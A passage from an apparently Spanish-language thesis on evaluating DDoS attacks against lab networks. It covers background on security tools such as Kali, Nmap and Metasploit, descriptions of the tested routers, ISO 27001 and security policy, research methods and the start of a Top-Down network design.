Varias estrategias ofensivas derrotan los mecanismos de defensa que buscan rastrear su
origen, incluso en los casos en que el atacante no cambia las maquinas atacantes, la gran
cantidad de actores involucrados hace que el seguimiento sea una solucién menos
atractiva, conocer las identidades de 10.000 maquinas de pirateria ain no esta cerca de
la solucion [14].

Esto ayudara a prevenir el ataque. La situacion se simplificara si el atacante no pudiera
reclutar tantos agentes, el aumento general de las computadoras conectadas a Internet y
el alto porcentaje reciente de usuarios novatos sugieren que la cantidad de revendedores
aumentara aun mas en el futuro, ademas, el modelo de gestién distribuida de Internet
hace poco probable el desarrollo a gran escala de un mecanismo de seguridad [14].
Entonces, incluso si se encuentran formas de proteger permanentemente las maquinas y
hacerlas inmunes a las intrusiones, estos mecanismos tardaran afios en desarrollarse lo
suficiente como para impactar la amenaza DDoS [14].

Puntos débiles en la topologia del Internet. La topologia de Internet actual consta de
nodos bien provisionados y altamente conectados que reenvian el trafico al resto de
internet, estos nodos (hubs) son capaces de manejar trafico pesado como tarea principal,

pero si estos nodos son interrumpidos por un atacante o gravemente congestionados,

19



Internet también colapsaré, la recopilacion de una gran cantidad de maquinas de agentes
y la conduccidn de un trafico masivo a traves de estos nodos tendré un grave impacto
en la conectividad global [14]. El estudio de las caracteristicas de los ataques DDoS,
nos sitla en una mejor posicion para disefiar o implementar mecanismos de defensa en
su contra, a su vez con la creacion de politicas de seguridad que permitan detectar y
proteger ante este tipo de ataques [14].

3.5. Herramienta para realizar ataques DDoS.

3.5.1. Kali Linux.

Kali es una distribucién de Linux avanzada para pruebas de penetracion y auditorias de
seguridad, este sistema operativo es gratuito debido a que ese software de cdodigo abierto y fue
desarrollado con grandes estandares de jerarquia del sistema de ficheros, permitiendo que todos
los usuarios de Linux puedan localizar facilmente archivos binarios, archivos de soporte,

bibliotecas, entre otros [15].

Ricardo Guzman también nos explica que [15], Kali Linux tiene Kernel personalizado con
parches de inyeccion, esto quiere decir que los desarrolladores realizan evaluaciones
inaldmbricas en el Kernel, para que siempre tenga los Gltimos parches de inyeccion incluidos.
Como ya sabemos muchas de las herramientas de penetracion fueron disefiadas en el idioma de
inglés por lo que los desarrolladores de Kali Linux para mas facilidad de sus usuarios han
programado dicha herramienta con varios idiomas lo cual permite realizar cualquier tipo de

ataque con facilidad.

3.5.2. Nmap.

s

’1299?

N 6
Niha®

Figura 3. Nmap [16]
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Fuente: Miguel Padilla, 2021

20



El Nmap o “mapeado de redes” es una herramienta de codigo abierto para exploracion de red y
auditoria de seguridad, escrito originalmente por Gordon Lyon (Fyodor Vaskovich), que es un
experto en seguridad de redes, inicialmente se lo disefid para analizar grandes redes de una

forma répida y eficiente, pero funciona muy bien contra equipos individuales [15].

Mientras que para Miguel Padilla [16], esta es una herramienta de cddigo abierto para explorar
la red y realizar auditorias de seguridad, esta herramienta utiliza paquetes IP para determinar
qué equipos se encuentran disponibles en una red, gracias a esta herramienta se puede
determinar los servicios como son nombre y version de la aplicacion, sistemas operativos, tipos
de cortafuegos que se estan ejecutando. La base de Nmap es el andlisis de puertos, pero también
cuenta con otras capacidades como son el mapeo de red, detecciéon de SO, descubrimiento de
servicios y auditorias de seguridad [16].

Como es de conocimiento la herramienta Nmap se la usa para aquellos que estén interesados
en seguridad y hacking en general, las técnicas que utilizan las herramientas de Nmap han sido
implementadas en sistemas de deteccion de firewalls e intrusos, ya que la mayoria de los
desarrolladores de sistemas de seguridad también trabajan con Nmap, ademas, esta herramienta
nos permite observar puertos los cuales permitiran realizar distintos ataques como son los
DDoS.

3.6.  Historia de metasploit.
Segun Santiago Pérez [17], el proyecto Metasploit fue creado en Perl en 2003 por HD
Moore con la ayuda del desarrollador principal Matt Miller para su uso como herramienta
de red portatil, fue traducido completamente a Ruby en 2007 y obtuvo la licencia en 2009
de Rapid7 y sigue siendo parte de la cartera de esta empresa con sede en Boston que se
especializa en sistemas de deteccion de intrusos y herramientas de explotacion de

vulnerabilidades de acceso remoto.

Ademas, para algunas partes de estas otras herramientas se encuentran en el entorno
Metasploit, que esta integrado en el sistema operativo Kali Linux, Rapid7 también ha
desarrollado dos herramientas patentadas de OpenCore: Metasploit Pro y Metasploit
Express [17].
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3.7.  ¢Qué es metasploit?
Es una herramienta de red portatil que proporciona informacion acerca de vulnerabilidades
de seguridad y ayuda en test de penetracion (Pentesting) y el desarrollo de firmas para

sistemas de deteccion de intrusos [18].

Mientras que Clever Geek [19], metasploit es una herramienta de seguridad informatica
que provee un entorno construido para encontrar vulnerabilidades en sistemas, explotarlas

y realizar test de penetracion en forma automatizada.

Para Mata Aharoni [20], Metasploit Framework de cddigo abierto es una herramienta para
desarrollar y ejecutar codigo de explotacion contra una maquina de destino remota.

3.8.  ¢Qué es pentesting o pentest?
Una prueba de penetracion o pentest es un ataque simulado y autorizado contra un sistema
informatico con el objetivo de evaluar la seguridad del sistema, también habla que, durante
la prueba, se identifican las vulnerabilidades presentes en el sistema y se explotan tal como
haria un atacante con fines maliciosos, esto permite al pentester realizar una evaluacion de
riesgos en la actividad comercial del cliente basandose en los resultados de la prueba y
sugerir un plan de medidas correctivas [21].

3.9. ¢Quéesun payload?
Un payload es un tipo de médulo especial que contiene un cédigo que realiza una tarea
especifica en una plataforma particular, dicho payload es usualmente ejecutado en la host
victima como fase final de un exploit, luego de que la vulnerabilidad ha sido explotada,
ademas, un payload puede hacer cosas como abrir un Shell, agregar un usuario, capturar
claves, entre otras [21].

3.10. Modalidades del metasploit.
Segln Clemente Bustos [22], un Metasploit funciona, cominmente, bajo dos métodos,
mismos que se pueden ejecutar en todas las plataformas y cuya eleccién depende del
analista de seguridad y su potencial en el manejo de comandos en linea. El Ilamado modo
web (msfweb.bat 0 metasploit framework web), es la modalidad grafica de aplicar o
generar exploits y formas de seleccion de efectos a provocar en el sistema comprometido
(payloads). En esta modalidad solo debe el usuario seleccionar opcién tras opcion el tipo

de ataque y al finalizar pulsar el boton de Exploit, con lo cual se generara el intento de
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violentar el sistema comprometido [22]. Adicionalmente se cuenta con una modalidad de
ataque por Shell, mismo que provoca que aparezca una pantalla indicando la conexion a

http://127.0.0.1:55555/, dicha direccion mostrada es la utilizada por el framework para

realizar la actualizacién y descarga de archivos auxiliares, ademas es necesario contar con
una salida a internet para realizar este tipo de descargas, no obstante el ataque informatico
puede realizarse en caso de contarse con el exploit adecuado y una conexién hacia el

sistema comprometido [22].

La segunda modalidad es el modo consola, debido a la carencia de aspectos graficos, ésta
opcion provee de una linea de comandos y ayuda, lo que da soporte al ingeniero analista o
atacante con la posibilidad de configurar linea por linea el exploit a utilizar, seleccionar el
tipo de ataque o payload para comprometer al sistema remoto, emplear un meta intérprete
(meterpreter) en la ejecucion de comandos, entre otras, esta opcidén es altamente
recomendada para informaticos con un conocimiento basico del uso de exploits, toda vez
que los ayuda a conocer las opciones y requerimientos del exploit a utilizar, también hay
que tener en cuenta que no se descarta el uso del modo web, sino por el contrario, se
recomienda la linea de comandos para dar los primeros pasos en la consecucion de un

ataque exitoso [22].

3.11. ¢Para qué sirven los Metasploit?
Los Metasploit sirven para desarrollar y ejecutar exploits contra una maquina remota,
permite realizar auditorias de seguridad, probar y desarrollar sus propios exploits, también,
permite controlar varias maquinas y observar la informacion que estas contienen [20].
A menudo es utilizado por los administradores de sistemas o por ingenieros en seguridad
informatica para probar las vulnerabilidades del sistema informatico para protegerlos, o por
los hackers con fines de pirateria informatica [20].
3.12. ¢Qué es un sistema de red?

Un sistema de red implica el uso de hardware y software, el soporte de comunicaciones de red

lo determinan el hardware y el software necesarios para ejecutar dicho hardware y para

intercambiar informacion con la red [23].

El hardware consta del equipo fisico conectado a la red fisica, el software consta de los

programas Yy los controladores de dispositivo asociados con el funcionamiento de un sistema
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determinado, mientras que, el hardware de sistema consta de adaptadores o de otros
dispositivos que proporcionan una via de acceso o una interfaz entre el software del sistema y
la red fisica, un adaptador requiere una tarjeta de E/S en el sistema, un adaptador prepara todos
los datos de entrada y de salida; efectia las busquedas de direcciones; proporciona
controladores, receptores y proteccion frente a sobrecargas; da soporte a distintas interfaces y,
en general, exime al procesador del sistema de la mayoria de las tareas relacionadas con las

comunicaciones [23].

Existen sistemas de red fisicas, de igual forma existen programas o softwares que permiten

emular un sistema de red como es packet tracer.

3.12.1. Tipos de red.
3.12.1.1.Red LAN (Local Area Network)

Ruth Quevedo [24], sefiala que “Las Redes de Area Local son las mas utilizadas en el
intercambio de datos y recursos entre ordenadores”, a su vez esta de forma comun son utilizadas
para “conectar equipos en espacios pequefios”. Su distintivo central consiste en permitir la
interconexion de distintos nodos como “unidades de almacenamiento, impresoras y otros
dispositivos, aunque no estén conectados fisicamente a nuestros ordenadores”, las mismas

dificultades que presentan limitaciones [24].

3.12.2. Red MAN (Metropolian Area Network)
Asimismo, infiere que esta red puede conectarse a distintas LAN proximas de manera especial
(50 km. Aprox.) con gran rapidez, por lo tanto, la MAN se conforma de conmutadores o routers

gue se conectan a través de otras que son muy rapidas como cables de fibra optica [24].

3.12.3. Red WAN (Wide Area Netwok)

De igual forma Quevedo manifiesta que [24], se puede conectar distintas LAN entre ellas por
medio de separaciones espaciales significativas. La rapidez en WAN es de acuerdo al precio
por conectarse (estas aumentan de acuerdo a la separacion). Estas sirven como routers que

seleccionan la ruta adecuada para que los datos logren llegar a una red [24].
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3.13. Tipos de red evaluadas.

3.13.1. Red Domeéstica.
Podemos considerar una red doméstica como una conexion de dos 0 mas dispositivos en este
caso serian computadoras, impresoras y otros dispositivos que cuenten con wifi o con una

conexion a internet dentro de un hogar.

Con una red doméstica, toda la casa puede compartir la conexién a internet con varios
dispositivos para que todos puedan acceder a internet al mismo tiempo, se puede compartir el
acceso a impresoras, archivos, carpetas y otros dispositivos de hardware, como un sistema de
juego.

3.13.2. Red Comercial.

En este caso consideraremos a un sistema de red comercial aquellas redes que se encuentran en
negocios, pequefas, medianas y grandes empresas, que tienen alguna actividad comercial o de
produccion, a diferencia de la red doméstica este tipo de sistemas de red esta disponible tanto a
empleados de esta como a los clientes o usuarios en general, ademas que son mucho mas
grandes y que tienen un mayor riesgo a recibir un ataque. La red comercial en sistemas de red,
estan conectadas a dispositivos como computadoras, impresoras, routers, dispositivos de

comunicacion, entre otros.

3.13.3. Red Educativa.

En disefio de redes este tipo de red son mucho mas grandes, es la conexion de muchos
dispositivos, estas las podemos encontrar en universidades, colegios o escuelas, netamente
estan disefiadas netamente para la educacién, también podemos considerar un sistema de red
educativo a un laboratorio donde podemos tener un switch o un router compartiendo internet a
maés de 10 computadoras con el objetivo de adquirir conocimientos, ademas, el sistema de red
escolar o educativo permite la comunicacion entre usuarios de las diferentes areas de la
institucion, para compartir la informacion que generan de forma rapida y facil, agilizando
actividades pedagogicas y administrativas con procesos educativos, entre directivas, docentes

y estudiantes.
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3.13.4. Topologias de red.
En la investigacion de Ruth Quevedo [24], se deduce que, a la hora de disefiar un sistema de
cableado estructurado, puede ser interesante conocer la topologia de los dispositivos que luego

haran uso de la infraestructura instalada.

La topologia fisica resulta la méas adecuada para nuestro tipo de evaluaciones. Puede ser
definida como la distribucién fisica de los dispositivos y codmo éstos se conectan al sistema de

cableado, pero una de las topologias mas usada es la topologia en estrella [24].
Dentro de estos existen varias topologias como son:

e Topologiaen bus

e Topologia en estrella
e Topologia en Arbol
e Topologiaen Anillo

e Topologia Hibrida

Para nuestra evaluacion de ataques DDoS se trabajara con topologia en estrella es por ello que
debemos conocer el concepto de esta Topologia. Para el autor Quevedo [24], la topologia en
estrella son los equipos que se conectan a un “nodo central, un servidor central o un router
central” que tiene la funcion de distribuir, conmutar y controlar, si el central se malogra
entonces la red entera deja de ser util, si es la del extremo entonces solo queda aislado. Es

comun que la central no tenga que funcionar como estacion [24].

3.13.5. ;Qué es un router?

Es un dispositivo de hardware que permite la interconexion de ordenadores en red, el router o
enrutador es un dispositivo que opera en capa tres de nivel de 3, asi, permitiendo que varias
redes u ordenadores se conecten entre si y, por ejemplo, compartan una misma conexion de
Internet [9]. El router es un dispositivo que permite u ofrece una conexidn a internet, también
permite interconectar redes con distintos prefijos en su direccién IP, tiene como funcion buscar

la mejor ruta o el mejor camino para destinar cada paquete de datos a la red y a un dispositivo.

3.13.6. Tipos de Routers Evaluados al ataque DDoS.
Los dispositivos que hacen parte de la elaboracion de este proyecto de investigacion son los

siguientes, Tp-Link modelo TL-WR840N, ADSL-Huawei HG531, Router CISCO.
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3.13.7. Tp-Link modelo TL-WR840N.

El 300Mbps Wireless N Router TL-WR840N es un dispositivo combinado con cable
inaldmbrico de conexion de red disefiado especificamente para las necesidades de pequefias
empresas y oficinas domésticas de redes [25].

El TL-WRB840N crea un rendimiento inalambrico excepcional y avanzado, lo que lo hace ideal
para el streaming de video de alta definicion, VolP y juegos en linea. Ademas, Wi-Fi Protected
Setup (WPS) en el exterior elegante y de modo, asegura al WPAZ2 la prevencion de la red de
intrusiones externas [25].

El TL-WR840N de TP-LINK es una solucién de alta velocidad que es compatible con IEEE
802.11b / g / n. Basado en la tecnologia 802.11n, el TL-WR840N ofrece a los usuarios un
rendimiento inalambrico de hasta 300 Mbps, lo que puede satisfacer tus necesidades de red
doméstica mas exigentes, tales como HD streaming, juegos en linea y descarga de archivos
grandes [25].

Figura 4. Tp-Link modelo TL-WR840N [25].
Fuente: Kasa Shell, 2022

La ventaja de este dispositivo es que contiene una tecnologia CCA- sefial Inalambrica Estable,
es decir, que evita los conflictos de canal usando su caracteristica de seleccion de canal claro y
plenamente consciente de las ventajas de la union de canales, lo que eleva el rendimiento

inaldmbrico [25].
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v' Caracteristicas.

e Velocidad de transmisién Inalambrica de 300Mbps ideal tanto para las tareas sensibles

a banda ancha y trabajo basico [25].
e Facil encriptacion de seguridad con solo presionar el boton WPS [25].

e El Control de Banda ancha basada en IP permite que los administradores determinen
cuénta banda ancha esté distribuida a cada PC [25].

3.13.8. ADSL-Huawei HG531.

Este router esta disefiado por la compafiia Huawei, este dispositivo permite conectarse a traves
de un puerto telefonico para tener acceso a internet, este dispositivo contiene puertos y botones
como son el reset que permite restablecer la configuracion predeterminada del HG531, al
reiniciarlo ocasionara pérdidas de configuracion y de datos personales por lo cual se lo debe
utilizar con precaucion, contiene el botdén de apagado y encendido, el boton power permite
conectar el adaptador de alimentacion, contiene 4 puertos que permiten conectar dispositivos
Ethernet, tales como una PC, decodificadores y switches, tiene la opcion de ADSL que permite
la conexion de un filtro DSL o conector de teléfono, por daltimo un WLAN/WPS que activa o
desactiva la funcion de WLAN y también el inicio de la negociacion para la configuracion
protegida de WIFI WPS [26].

e

Figura 5. ADSL-Huawei HG531[26].

Fuente: Huawei, 2018
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3.13.9. Nexxt Nebula 300 plus

El nuevo router Nebula 300 Plus es la solucion ideal para el hogar o la oficina que se caracteriza
por el uso intensivo del correo electronico, de las redes sociales, del internet, de la descarga de
videos y archivos multimedia, ademéas de juegos en linea, no obstante, su reducido tamafio, el
dispositivo es capaz de alcanzar velocidades de hasta 300Mbps, ya que combina un renovado
disefio con los Gltimos avances tecnoldgicos, ademas este se encuentra dotado con tres antenas
omnidireccionales, ofrece velocidades de transferencia hasta 6 veces mayor que los productos

802.11g convencionales [27].

Figura 6. Nexxt Nebula 300 plus [27]

Fuente: Nexxtsolutions, 2019
v' Caracteristicas:

e Ofrece velocidades inalambricas de hasta 300Mbps [27].

e Solucién integral: punto de acceso, repetidor universal y proveedor de servicio de
internet inaldmbrico WISP [27].

e Cuatro puertos de 10/100Mbps con negociacion automatica [27].

e Cumple con las especificaciones IEEE 802.11n, IEEE 802.11g, IEEE 802.11b, IEEE
802.3 e IEEE 802.3u [27].

e Cuenta con métodos avanzados de seguridad inalambrica WEP de 64/128 bitios, asi

como con la criptografia de mensajes WPA y WPA2-PSK [27].
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e La funcion WPS (configuracion Wi-Fi Protegida) evita el acceso no autorizado y

protege la red contra ataques cibernéticos maliciosos [27].

3.13.10. Router Cisco Linksys.

Cisco Systems ha estado en el negocio de redes desde hace mucho tiempo y ahora esta
ofreciendo routers para la entrega segura de datos concurrentes, voz, video y servicios
inaldmbricos, el Carrier Routing System de Cisco (CRS-1) es uno de los routers de Internet con
la més alta capacidad [28]. Este router, segun Cisco, puede alcanzar una produccion de 92
terabytes 0 92 billones de bits por segundo. Esto significa que toda la coleccion impresa de la
Biblioteca del Congreso se pudo descargar en cuestion de 4,6 segundos, mientras que en un
maodem de acceso telefénico esto tomaria 82 afos[28].

Figura 7. Router Cisco Linksys [28].

Fuente: Seabrokke, 2018

El router linksys le permite acceder a internet mediante una conexion inalambrica o cableada
a traves de uno de sus cuatro puertos Ethernet. Soporta los estandares inalambricos 802.11n,
802.11g y 802.11b en la frecuencia de 2.4 GHz, también le permite compartir recursos tales
como ordenadores, impresoras y archivos [28].
Hay una variedad de funciones de seguridad que ayudan a proteger sus datos y su privacidad
mientras usted esta en linea. Las funciones de seguridad incluyen:
* Wi-Fi Protected Access 2 (WPAZ2): Seguridad de acceso protegido, que encripta los
datos en su red inaldmbrica [28].

« Stateful Packet Inspection (SP1): Firewall de inspeccion exhaustiva de paquetes para

ayudar a bloquear el acceso no autorizado a su router Wi-Fi E1000 de Linksys [28].
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» Network Address Translation (NAT): Tecnologia de traduccion de direcciones de
red, que aumenta la proteccion de la red al permitirle a sus ordenadores compartir el

acceso a Internet a traves de una tnica direccion IP publica [28].

3.14. Packet Tracer.
Cisco Packet Tracer es un software propiedad de Cisco System Inc, disefiado para la simulacion

de red utilizando el equipo de la empresa anterior con el uso de distintos materiales [29].

La educacion esté disefiada para este propésito, como la principal herramienta de trabajo para
probar y Simular un laboratorio en los cursos de capacitacion de Cisco Systems
(http://cisco.netacad.net). Para usarlo, es necesario aceptar la licencia. La Academia esta

autorizada para ofrecer los cursos antes mencionados [29].

3.15. Deteccion y prevencion de ataques DDoS.

Las medidas de deteccion y mitigacidn de ataques DDoS puede ubicarse en diferentes lugares
de la topologia de la red, en el extremo mas proximo al origen del ataque (del inglés Source-
end defense), distribuida entre el origen del ataque y la victima (del inglés Core-network

defense), o inmediatamente antes de la victima (del inglés Victim-end defense) [4] .

Los ataques de denegacion de servicios distribuidos son complejos de detectar y de detener,
pero su prevencion estd compuesta por los mismos principios que en los de cualquier tipo de

ataque informatico.

3.16. Seguridad informéatica
La seguridad informatica se relaciona con procesos, procedimientos y metodologias que ayudan
a salvaguardar los datos, estos procesos se van estructurando con el uso de normas, protocolos,

estandares que serviran para minimizar riesgos en una infraestructura tecnoldgica [30].

El autor Daysi Imbaquingo [30], define a la seguridad informética como: la disciplina que, con
base en politicas y normas internas y externas de la empresa, se encarga de proteger la integridad
y privacidad de la informacion que se encuentra almacenada en un sistema informatico, contra
cualquier tipo de amenazas, minimizando los riesgos tanto fisicos como légicos a los que se

encuentra expuesta.
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Mientras que Alberto Naconha [30], la seguridad informatica es el proceso de establecer y
observar un conjunto de estrategias, politicas, técnicas, reglas, guias, practicas y procedimientos
tendientes a prevenir, proteger y resguardar de dafio, alteracion o sustraccion a los recursos
informaticos de una organizacion y que administren el riesgo al garantizar en la mayor medida

posible el correcto funcionamiento ininterrumpido de esos recursos.

3.17. Politicas.
La politica es una actividad orientada en forma ideoldgica a la toma de decisiones de un grupo

para alcanzar ciertos objetivos [31].

Segun Israel Caceres [31], en informatica se pretende aprovechar el potencial que ofrecen las
Tecnologias de la Informacion con las que se cuentan actualmente, de ellas podemos destacar
o clasificar que las Politicas en cuanto a la proteccion de Datos Personales e Informacion, Redes

y Telecomunicaciones son las que dentro de la informatica tienen mayor importancia.

Es importante que las empresas que tienen sitios web o prestan servicios en la Internet,
expongan sus politicas sobre aspectos relevantes para sus usuarios, como el manejo de los datos
personales, las condiciones comerciales de una venta o cualquier anuncio importante que pueda

tener repercusiones de tipo legal para el sitio y sus usuarios [31].

3.18. Politicas de seguridad.

Segun Alberto Naconha [32] las politicas de seguridad informatica consisten en una serie de
normas y directrices que permiten garantizar la confidencialidad, integridad y disponibilidad de

la informacién y minimizar los riesgos que le afectan.

Una politica de seguridad se define a alto nivel, con el fin de proteger a la empresa de cualquier
atagque y que se sigan ciertas medidas 0 pasos a seguir por si existe un problema, es decir, el
conjunto de controles que se deben implementar esta se desarrolla en una serie de
procedimientos e instrucciones técnicas que recogen las medidas técnicas y organizativas que

se establecen para dar cumplimiento a dicha politica [32].

Para Paolo Sanchez [13] las politicas de seguridad se identifican exclusivamente para asegurar
los derechos de acceso a los datos y recursos con las herramientas de control y mecanismos de

identificacion.



Segun Sanchez [13], estos mecanismos permiten saber que los operadores tienen s6lo permisos

que se les dio. Por eso para a elaborar una politica de seguridad, conviene:

 Elaborar reglas y procedimientos para cada servicio de la organizacion [13].
« Definir las acciones a emprender y elegir las personas a contactar en caso de detectar
una posible intrusion[13].

 Sensibilizar a los operadores con los problemas ligados con la seguridad [13].

3.19. Normas ISO/IEC 27001

ISO/IEC 27001:2013 es el estandar internacional para la gestion de la seguridad de la
informacion. Su objetivo es el de "especificar los requisitos para establecer, implementar,
mantener y mejorar continuamente un sistema de gestion de seguridad de la informacion™ que
se integra en el sistema de gestion global de la organizacion, con el fin de ayudar a asegurar los
recursos de informacion, su aplicacion permite a la organizacion determinar y evaluar los
riesgos de seguridad de la informacion e implementar procedimientos y mecanismos que

preserven su integridad, confidencialidad y disponibilidad de la informacion [10].

La estructura organizativa de la norma 1SO / IEC 27001: 2013 indica que su funcionamiento
sigue el ciclo de mejora PDCA: Plan - Do - Check — Act, que busca hacer que los procesos de

gestidn sean mas agiles, claros y objetivos[10].
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Para Jessica Baez [10] el objetivo de la norma ISO 27001 es proteger la integridad,
disponibilidad y confidencialidad de la informacién en la empresa, para cumplir este objetivo
es necesario determinar los riesgos a los que estd expuesta la informacién que maneja la
organizacion y luego determinar lo que debe hacerse para impedir dichos riesgos. Por lo tanto,

la ISO 27001 se estructura como se muestra en la Figura 8.

Evaluacion y Aplicar
tratamiento medidas de
de Riesgos seguridad

Figura 8. Estructura de 1SO 27001. [10]
Fuente: Jessica Baez, 2021

Los procedimientos, politicas, software y equipos estan dentro de los controles a aplicar. Esta
norma se basa en un enfoque del ciclo de mejora continua. Este ciclo estad formado por cuatro
etapas: Planificar, Hacer, Verificar y Actuar, por ello se le denomina también como Evaluacion
y tratamiento de riesgos Aplicar las medidas de seguridad 38 ciclo PDCA (por sus siglas en

inglés Plan-Do-Check-Act) o ciclo de Deming, en honor a su creador [10].

3.19.1. Manual de Seguridad.

Un manual de seguridad es aquel que permite mejores condiciones de trabajo seguros y que
desarrolla ciertos pasos o ideas que permiten conductas, habitos y actitudes favorables, este tipo
de manuales se los puede desarrollar a través de la empresa con el conjunto de trabajadores,
también existen manuales de seguridad para el correcto funcionamiento de un dispositivo, de
un area o de una empresa, dichos manuales ayudan a corregir algun tipo de vulnerabilidad si es
necesario, los manuales de seguridad se los puede realizar con pasos que permitan asegurar la

informacion o proteger alguna tecnologia.
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4, MATERIALES Y METODOS:
4.1. Materiales:

+ PCs

+ Maquinas virtuales

v Routers

+ Cables de red

4.2. Meétodos.
Método revision bibliografica. Al momento de aplicar este método se pudo obtener gran parte
de la informacion con respecto al tema de investigacion la cual se obtuvo de libros, revistas de

caracter cientifico, internet los cuales aportan de manera significativa al proyecto.

v" Método induccion-deduccion.
Se utilizo este método en todo el proceso investigativo, con enfasis en la construccion de la
hipdtesis, la misma que estuvo sujeta a comprobacion al problema luego de ser inductiva
como solucion general,
Método estadistico-matematico. Este método es aplicado en la tabulacion de los datos los
cuales dieron como resultado la encuesta, al momento de realizar las tablas y cuadros
estadisticos.

v Técnicas
En el presente proyecto de investigacion se aplicaron técnicas como la realizacion de
encuestas y la observacion, con las que se pudo obtener informacion y datos reales de
personas involucradas en el tema.

v' Encuestas
Mediante esta técnica se pudo obtener datos reales sobre el conocimiento que existe acerca
del tema del proyecto investigacion y también se produjo por evaluaciones de ataques DDoS
en tiempo real.

v Observacion
A través de esta técnica hemos podido analizar cémo la tecnologia va evolucionando y
desarrollandose a lo largo del tiempo y lo esencial es que esta inmerso en mecanismos de
ataques y defensas a los distintos sistemas de red ya sean publicos o privados debe estar en

consonancia con las tecnologias de defensa para que los datos e informacion de las mismas
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no se vean vulneradas por posibles ataques de cualquier tipo, pero a su vez se pueden crear
mecanismos nuevos 0 ya existentes de proteccion, a su vez esto ayuda a obtener amplios
conocimientos sobre el tema.

Esta técnica ha permitido verificar la importancia de evaluar ataques DDoS a sistemas de

red y obtener nuevas 0 conocidas protecciones.

4.3. Poblacién y muestra
4.3.1. Poblacién
Esta conformado por la poblacion en general, usuarios que utilizan redes domésticas,

comerciales y educativos.

4.3.2. Muestra
Esta conformado por la poblacién en general, usuarios encuestados que utilizan redes

domeésticas, comerciales y educativos y usuarios encuestados.

Z2pq 1.962%0.5*0.5
n= n=
o2 0.052
n= 0.9604
Donde:
n= muestra

p= probabilidad a favor
g= probabilidad en contra
z= nivel de confianza

e= error de muestra
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5. DESARROLLO DEL TRABAJO DE TESIS.
5.1. Metodologia: Top-Down Network Design.

En el presente proyecto de investigacion se plantea elaborar un sistema de red que permita
evaluar ataques de denegacion de servicios distribuidos y sus formas de proteccion, es por ello
que se utilizara la metodologia Top Down Network Desing. la metodologia Top Down Network
propuesta por Cisco Press & Priscilla Oppenheimer [21], centrandose en las necesidades, los
requisitos, la seguridad y el disefio de sistemas de red, a su vez permitira elaborar y hacer
pruebas de las vulnerabilidades que existan en este tipo de redes mediante ataques DDoS, esta
metodologia ofrece cuatro etapas o fases las cuales permitiran el disefio de la red las cuales

seran evaluadas a través de ataques de denegacidon de servicios distribuidos.

e Fase 1: Identificacion de Necesidades y Objetivos
e Fase 2: Disefio Ldgico
e Fase 3: Disefio Fisico

e Fase 4: Prueba, Optimizacion y Documentacion

5.1.1. Fase 1 Identificacién de Necesidades y Obijetivos.
Actualmente, los sistemas de red domeésticos, comerciales y educativos se encuentran
vulnerables a cualquier tipo de ataque, mas especificos ataques DDoS los cuales son causantes
de retrasos de muchos procesos llevando consigo pérdidas de tiempo y en algunos casos
pérdidas econdmicas, es por ello que se evaluaran ataques de denegacién de servicios
distribuidos a varios sistemas de red los mismos que se buscaran distintas formas de proteccion
las cuales seran éptimas y faciles para el cliente que ocupe este tipo de dispositivos y asi evitar
varias dificultades a la hora de realizar cualquier tipo de actividades
v"Identificacion de Necesidades.
Los sistemas de red domésticos, comerciales y educativos actualmente se encuentran
vulnerables a cualquier tipo de ataques DDoS, se pretende buscar distintas formas de
proteccion como por ejemplo el cierre de puertos de los distintos routers evaluados, la
configuracién correcta de nuestros equipos, la necesidad de una comunicacién con el
encargado o el Técnico de Informacidn, entre otras, logrando asi evitar pérdidas de

tiempo y costos en varias actividades que requieran la necesidad del uso de internet.
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v" Redes a evaluar y proteger.

e Red Domeéstica
e Red Comercial
e Red Educativa
v' Organigrama Estructural de los distintos sistemas de red a Evaluar y Proteger ante
Ataques DDoS

ADSIL-Huawei HG531

Maquina 1
Windows 10

Maquina 2
Windows 10

Figura 9. Organigrama estructural Red Doméstica 1.

Fuente: Grupo Investigativo
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Router
Tp-Link fe66

Magquina 1 Maquina 2
Windows 10 Windows 10

Figura 10. Organigrama estructural Red Doméstica 2.

Fuente: Grupo Investigativo

Router
Nebula 300plus

Maquina 1 Maquina 5
Windows 10 Windows 10
Magquina 2 Maquina 4
Windows 10 Windows 10
Magquina 3
Windows 10

Figura 11. Organigrama estructural Red Comercial.

N

Fuente: Grupo Investigativo



WELEd

Maquina 1 Linux Magquina 3
Linux Ubuntu 7.10 Windows 10
[V ELENE Ubuntu 7.10

Linux
Ubuntu 7.10
Maquina 4
Maquina 12 Ub L"t“”;_ 10
Linux Ntz

Ubuntu 7.10

— Maquina 5
E900 Linux
Magquina 11 / Ubuntu 7.10
Linux
Ubuntu 7.10 \ Magquina 6
_ Linux
Maquina 10 Ubuntu 7.10
Linux
Ubuntu 7.10 \
W EGITITER) WELDIIEWS
Linux Linux

Maquina 8

Ubuntu 7.10 Ubuntu 7.10

Linux
Ubuntu 7.10

Figura 12. Organigrama estructural Red Educativa.
Fuente: Grupo Investigativo
v" Requerimientos

Con la finalidad de recolectar informacion en cuanto a los requerimientos de los
distintos usuarios que utilicen o estén en contacto a cualquier tipo de sistemas de red
tanto comercial, doméstico o educativo y se vean vulnerables a cualquier tipo de Ataque
DDoS
+ Evaluar ataques DDoS en sistemas de red domésticos, comerciales y educativos.
« Proteger los sistemas de red a través de bloqueos de IP ya que al momento de
atacar el usuario X no va a poder ver la IP.
+ Contar con equipos 6ptimos y que no sean vulnerables a cualquier ataque DDoS.
« Ahorro de costos en redes comerciales.
+ Que se cuente con servicio a internet en cada uno de los dispositivos de la red
ya que los Ataques DDoS detienen este tipo de servicios.
« Que el acceso a nuevos usuarios a alguna red educativa no tenga ningin
problema ante este tipo de ataques informaticos.

« Equipos con una correcta seguridad.
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v" Objetivos.
Entre los principales objetivos que existen en un sistema de red ante cualquier ataque
DDoS.

Brindar una Odptima seguridad a los usuarios que utilicen redes domeésticas,

comerciales y educativas.
- Evitar que se den ataques DDoS a cualquier tipo de red.
- Realizar un sistema de red mediante un ambiente controlado.
- Comprobar sus diferentes formas de proteccion de ataques DDoS.
v" Alcance.
El alcance de los sistemas de red domésticos, comerciales y educativos es una correcta
proteccion ante el ataque DDoS a cada usuario que utilice una red ya antes mencionada.

v" Andlisis de Restricciones

En el anélisis de restricciones a las que se enfrenta una evaluacion de ataques DDoS; la
mayor restriccion es lograr el presupuesto donde la elaboracion del mismo no es solo
tomar en cuenta materiales y mano de obra sino también las circunstancias en las que
se debe llevar a cabo mediante la evaluacion de ataques DDoS y sus formas de
proteccion, en este caso tomaremos en cuenta la, restriccion que existen en los distintos
sistemas de red.
e Restriccion,
Los sistemas de red no cuentan con personal especializado ante vulnerabilidades de
ataques DDoS.
5.1.2. Fase 2 Disefio Logico.
